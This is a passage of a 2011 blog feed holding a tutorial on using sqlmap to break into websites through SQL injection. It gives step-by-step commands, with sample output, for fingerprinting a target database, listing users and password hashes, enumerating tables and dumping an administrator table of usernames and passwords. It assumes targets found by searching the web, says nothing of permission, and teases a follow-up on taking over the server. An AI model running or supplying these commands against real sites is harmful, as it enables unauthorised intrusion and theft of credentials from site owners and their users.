&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6EOa1OrUD3_YAivr5C7CvzCvaEU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6EOa1OrUD3_YAivr5C7CvzCvaEU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/6EOa1OrUD3_YAivr5C7CvzCvaEU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6EOa1OrUD3_YAivr5C7CvzCvaEU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/FetYSCXfI4c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/222738385912519542/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/05/sqlmap-volume-2-tips-tricks.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/222738385912519542?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/222738385912519542?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/FetYSCXfI4c/sqlmap-volume-2-tips-tricks.html" title="SQLMAP Volume 2: TIPS &amp; TRICKS" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/05/sqlmap-volume-2-tips-tricks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08FQXY6fip7ImA9WhZQGUQ.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-6727102486343827145</id><published>2011-04-28T09:10:00.000-05:00</published><updated>2011-04-28T09:10:10.816-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-28T09:10:10.816-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hack" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="SQLi" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><title>SQLMAP Basic Introduction and Tutorial</title><content type="html">There are times when manual efforts just wont work or you plain dont have the skills and other famous tools like Havij dont seem to do the trick either. I experienced one of these times recently and it lead me to another great tool that just doesn't seem to be as popular - SQLMAP. I had a site the other day I was working on my injections with and could not get it manually due to poor skills at timing things, reading results, and PATIENCE. Havij was cracking out due to timing method sucking and I dont have skills to do it manually (props to those that can), so here is a tutorial I put together on how to go about cracking this thing wide open using the less commonly known tool SQLMAP. Let me first start by saying if you are afraid of the command line then just leave now because there is no GUI for this and I dont think there ever will be. If you really want to hack you need to get familiar with it so why not start now. Let's begin...&lt;br /&gt;
&lt;br /&gt;
There is no need to waste time with $hitcash and other download sites. For a stable and virus free copy just get from the official site here:&amp;nbsp;&lt;a href="http://sqlmap.sourceforge.net/"&gt;http://sqlmap.sourceforge.net/&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Direct to Download Page: &lt;a href="http://sourceforge.net/projects/sqlmap/files/sqlmap/"&gt;http://sourceforge.net/projects/sqlmap/files/sqlmap/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
You will simply extract this to the desired folder you want to run and use it from. As mentioned this is a command line tool, NO GUI. If you want to add it to your path variable so you can run it from anywhere the command prompt opens by following these simple steps:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;1) Right click on Computer and choose Properties option&lt;br /&gt;
&amp;nbsp;2) In the System window click on Advanced system settings in the left pane&lt;br /&gt;
&amp;nbsp;3) In the System Properties window select Advanced tab and click on Environment Variables&lt;br /&gt;
&amp;nbsp;4) In the Environment Variables window you will notice two columns User variables for a username and System &amp;nbsp;variables - we need the user variable to the PATH so it knows where to open the program wherever we decide to open &amp;nbsp;CMD from&lt;br /&gt;
&amp;nbsp;5) Now to add a PATH to the User variable, highlight PATH and click on New… button. In the New User Variable dialog &amp;nbsp;box type the Variable name and Variable value and click OK button. If you are unsure you can choose to edit the &amp;nbsp;PATH variable to see how it is done (IF YOU CHANGE THIS YOU MAY HAVE PROBLEMS, SO BE CAREFULL, now just add path to &amp;nbsp;sqlmap.exe to the end and your done, hit OK and save.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5a) To remove a User variable click on the required User variable and then click on Delete button&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5b) To edit a User variable click on Edit… button. In the Edit User Variable dialog box&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;edit&amp;nbsp;the&amp;nbsp;Variable&amp;nbsp;name and Variable value and click OK button&lt;br /&gt;
&lt;br /&gt;
NOTE: you can skip the path variable part if you want but then you must be in the folder to run it from command line (I am lazy and dont like to navigate so I like to set it and forget it)&lt;br /&gt;
&lt;br /&gt;
OK now you should be ready to get started...open the command prompt and type sqlmap or sqlmap.exe to see if you set the path variable correctly. If you get "error: missing a mandatory parameter..." then you are in business. To begin I suggest opening two command prompts at the same time and put them side by side (it will help make this easier to visualize and learn while we go through this tutorial). On one side you need to simply type in 'sqlmap --help' and see what follows, you will quickly see sqlmap has a LOT of options available for you to choose from. I will cover some of the basics to help get you started. Keep the help menu open on one side and now we will begin working from the other side. &lt;br /&gt;
&lt;br /&gt;
I will assume you have done your own searching on the web to find some vulnerable targets, so let's get started testing them. we will use the '-u' option to define our target site, like this:&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Results...PHP 5.2.14, Apache 2.2.17, MySQL 5&lt;br /&gt;
this will perform a basic run at the target to test for injection, simply providing basic overview info. We can use the '-f' parameter to get some more specific information from our target, like this:&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; -f&lt;br /&gt;
&lt;br /&gt;
Results are not too much more than previous (you get column count or vulnerable column if you pay close attention to info retrieved as well as&amp;nbsp;specifics on version). The results will also be stored for the entire session in the 'output' folder wherever sqlmap is physically installed - it also shows the commands used to get the info. That doesnt really tell us a lot so lets grab the site banner to see what it can tell us as well as some other useful info from the Database itself by changing up the command and adding a few more paramaters, like so:&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; -f -b --current-user --current-db --is-dba --users --dbs&lt;br /&gt;
Results: &lt;br /&gt;
&lt;br /&gt;
NOTE: it seems to process them in the order you pass the arguments, so if it fails along the way you dont get the rest. For this reason I usually start with the above command and then start to change from there to get more info...&lt;br /&gt;
&lt;br /&gt;
-f = Back-end DBMS: active fingerprint: MySQL &amp;gt;= 5.0.38 and &amp;lt; 5.1.2&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; comment injection fingerprint: MySQL 5.1.00&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; banner parsing fingerprint: MySQL 5.0.92&lt;br /&gt;
-b = banner:&amp;nbsp;&amp;nbsp;&amp;nbsp; '5.0.92-community'&lt;br /&gt;
--current-user&amp;nbsp; =&amp;nbsp; read from file 'C:\sqlmap-0.8_exe\output\site.com\session': &lt;a href="mailto:user@localhost"&gt;user@localhost&lt;/a&gt;&lt;br /&gt;
--current-db = same as above, reads from session file created for scan but shows current database&lt;br /&gt;
--is-dba = same as above, reads from session file created for scan but shows if current user is DBA: 'TRUE' or 'False'&lt;br /&gt;
--users = same as above, reads from session file created for scan but shows&amp;nbsp; number of database users and usernames&lt;br /&gt;
--dbs = same as above, reads from session file created for scan but shows ALL of the databases available, not just current&lt;br /&gt;
&amp;nbsp;current user:&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="mailto:'user@localhost'"&gt;'user@localhost'&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;current database: database1&lt;br /&gt;
&amp;nbsp;system users [1]: &lt;a href="mailto:'user'@'localhost'"&gt;'user'@'localhost'&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;current user is DBA:&amp;nbsp;&amp;nbsp;&amp;nbsp; 'False'&lt;br /&gt;
&amp;nbsp;vailable databases [5]:&lt;br /&gt;
&amp;nbsp;[*] information_schema&lt;br /&gt;
&amp;nbsp;[*] database1&lt;br /&gt;
&amp;nbsp;[*] database2&lt;br /&gt;
&amp;nbsp;[*] database3&lt;br /&gt;
&amp;nbsp;[*] database4&lt;br /&gt;
&lt;br /&gt;
This pretty much gets you set up with the basic info, you can go a step further and add the '--passwords' to the end of the command to try and extract the users passwords fro database users if they are available. This is not always effective though (i.e. no MySQL table) which is why it is best to add after the basics or at the end of your recon session, like so:&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; -f -b --current-user --current-db --is-dba --users --dbs --passwords&lt;br /&gt;
&lt;br /&gt;
OR by itself following our recon command like this:&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; --passwords&lt;br /&gt;
&lt;br /&gt;
You can also check user priveleges '--priveleges' to check user priveleges as well as roles '--role'..., but what if you want to dig deeper into the Database(s) to find more info, no problem....let's keep going and extract all of the table names and columns...&lt;br /&gt;
&lt;br /&gt;
Now we need to keep it simple and just request what we need using these new parameters: '--tables', '--columns', and '-D', like this:&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; --tables -D database1&lt;br /&gt;
&lt;br /&gt;
Results....it will load all of the results into the log file stored in the "output" folder wherever you installed sqlmap physically on your system, while it also prints the results to the screen. &lt;br /&gt;
&lt;br /&gt;
The results would look something like this:&lt;br /&gt;
[16:10:05] [INFO] fetching tables for database 'database1'&lt;br /&gt;
[16:10:05] [INFO] fetching number of tables for database 'database1'&lt;br /&gt;
[16:10:05] [INFO] retrieved: 13&lt;br /&gt;
[16:10:16] [INFO] retrieved: access&lt;br /&gt;
[16:10:53] [INFO] retrieved: action&lt;br /&gt;
[16:11:40] [INFO] retrieved: ad&lt;br /&gt;
[16:11:55] [INFO] retrieved: adcriteria&lt;br /&gt;
[16:13:02] [INFO] retrieved: adminhelp&lt;br /&gt;
[16:13:56] [INFO] retrieved: administrator&lt;br /&gt;
[16:15:14] [INFO] retrieved: adminlog&lt;br /&gt;
[16:16:00] [INFO] retrieved: adminmessage&lt;br /&gt;
[16:17:26] [INFO] retrieved: bbcode&lt;br /&gt;
[16:18:26] [INFO] retrieved: config&lt;br /&gt;
[16:19:26] [INFO] retrieved: db_users&lt;br /&gt;
[16:20:26] [INFO] retrieved: users&lt;br /&gt;
[16:21:26] [INFO] retrieved: etc&lt;br /&gt;
Database: database1&lt;br /&gt;
[13 tables]&lt;br /&gt;
+-----------------+&lt;br /&gt;
| access&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | &lt;br /&gt;
| action&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| ad&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| adcriteria&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| adminhelp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| administrator&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;
| adminlog&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| adminmessage&amp;nbsp;|&lt;br /&gt;
| bbcode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;|&lt;br /&gt;
| config&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| db_users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;
| users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| etc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;|&lt;br /&gt;
+-----------------+&lt;br /&gt;
....and so on until it is done finding all of the tables for the database you specified with the '-D database1' paramater earlier...and now we find the columns for the tables found above...&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; --columns -D database1 -T administrator&lt;br /&gt;
&lt;br /&gt;
Results....remember you can check your logs in "output" folder...The results would look something like this:&lt;br /&gt;
[16:30:05] [INFO] fetching columns for table 'administrator' on database 'database1'&lt;br /&gt;
[16:33:05] [INFO] fetching number of columns for table 'administrator' on database 'database1'&lt;br /&gt;
[16:36:05] [INFO] retrieved: 3&lt;br /&gt;
[16:39:16] [INFO] retrieved: user&lt;br /&gt;
[16:45:53] [INFO] retrieved: pass&lt;br /&gt;
[16:46:40] [INFO] retrieved: id&lt;br /&gt;
[16:49:26] [INFO] retrieved: etc&lt;br /&gt;
Database: database1&lt;br /&gt;
Table: administrator&lt;br /&gt;
[3 Columns]&lt;br /&gt;
+-----------+----------------+&lt;br /&gt;
| Column&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+-----------+----------------+&lt;br /&gt;
| user&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;| varchar(250) |&lt;br /&gt;
| pass&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | varchar(250) |&lt;br /&gt;
| ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | int(11)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| etc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;varchar(100) |&lt;br /&gt;
+-----------+----------------+&lt;br /&gt;
....and so it goes on until it is done finding all of the columns and tables for the database you specified with the '-D database1 -T administrator' paramaters earlier...BUT no you may be asking yourself how do we get that precious data out of there?&lt;br /&gt;
&lt;br /&gt;
Like this:&lt;br /&gt;
EX: sqlmap -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; --dump -D database1 -T administrator -C user,pass,id&lt;br /&gt;
&lt;br /&gt;
Results....remember you can check your logs in "output" folder...The results would look something like this:&lt;br /&gt;
[18:51:57] [INFO] fetching columns 'user, pass, id' entries for table&lt;br /&gt;
&amp;nbsp;'administrator' on database 'database1'&lt;br /&gt;
[18:51:57] [INFO] fetching number of columns 'user, pass, id' entries for table 'administrator' on database 'database1'&lt;br /&gt;
[18:51:57] [INFO] read from file 'C:\sqlmap-0.8_exe\output\www.site.com\session': 2&lt;br /&gt;
[18:51:57] [INFO] read from file 'C:\sqlmap-0.8_exe\output\www.site.com\session': 1&lt;br /&gt;
[18:51:57] [INFO] retrieved: IhazYOURpassWZORD&lt;br /&gt;
[18:52:52] [INFO] retrieved: admin&lt;br /&gt;
[18:53:34] [INFO] read from file 'C:\sqlmap-0.8_exe\output\www.site.com\session': 2&lt;br /&gt;
[18:53:34] [INFO] retrieved: IhazYOURpassWZORDtoo&lt;br /&gt;
[18:54:34] [INFO] retrieved: JohnDoe&lt;br /&gt;
Database: database1&lt;br /&gt;
Table: administrators&lt;br /&gt;
[2 entries]&lt;br /&gt;
+-----+---------------------------------+------------+&lt;br /&gt;
|&amp;nbsp;&amp;nbsp; ID&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; Password&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;user&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+-----+---------------------------------+------------+&lt;br /&gt;
| 1&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; |&amp;nbsp; IhazYOURpassWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp; admin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br /&gt;
| 2&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; | IhazYOURpassWORDtoo&amp;nbsp; | JohnDoe&amp;nbsp; &amp;nbsp;|&lt;br /&gt;
+-----+---------------------------------+------------+&lt;br /&gt;
[18:55:14] [INFO] Table 'database1.administrator' dumped to CSV file 'C:\sqlmap-0.8_e&lt;br /&gt;
xe\output\www.site.com\dump\database1\administrator.csv'&lt;br /&gt;
[18:55:14] [INFO] Fetched data logged to text files under 'C:\sqlmap-0.8_exe\out&lt;br /&gt;
put\www.site.com'&lt;br /&gt;
That sums up our basic introduction to SQLMAP. Ideas for next series...SQLMAP Round 2: From Dumping to Owning the DB Server. Using ninja skills with sqlmap to interact with the system registry and filesystem access, as well as gaining access to the underlying operating system and executing system commands with a little assistance from the incorporation of&amp;nbsp;Metasploit to the attack scenario. I hope you enjoyed this episode and stay tuned for more to come in the next series...&lt;br /&gt;
&lt;br /&gt;
Later - H.R.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-6727102486343827145?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lbYcLdZtP06hYQse5DEioaYstWk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lbYcLdZtP06hYQse5DEioaYstWk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lbYcLdZtP06hYQse5DEioaYstWk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lbYcLdZtP06hYQse5DEioaYstWk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/x8pQvp02540" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/6727102486343827145/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/04/sqlmap-basic-introduction-and-tutorial.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/6727102486343827145?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/6727102486343827145?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/x8pQvp02540/sqlmap-basic-introduction-and-tutorial.html" title="SQLMAP Basic Introduction and Tutorial" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>4</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/04/sqlmap-basic-introduction-and-tutorial.html</feedburner:origLink></entry></feed>

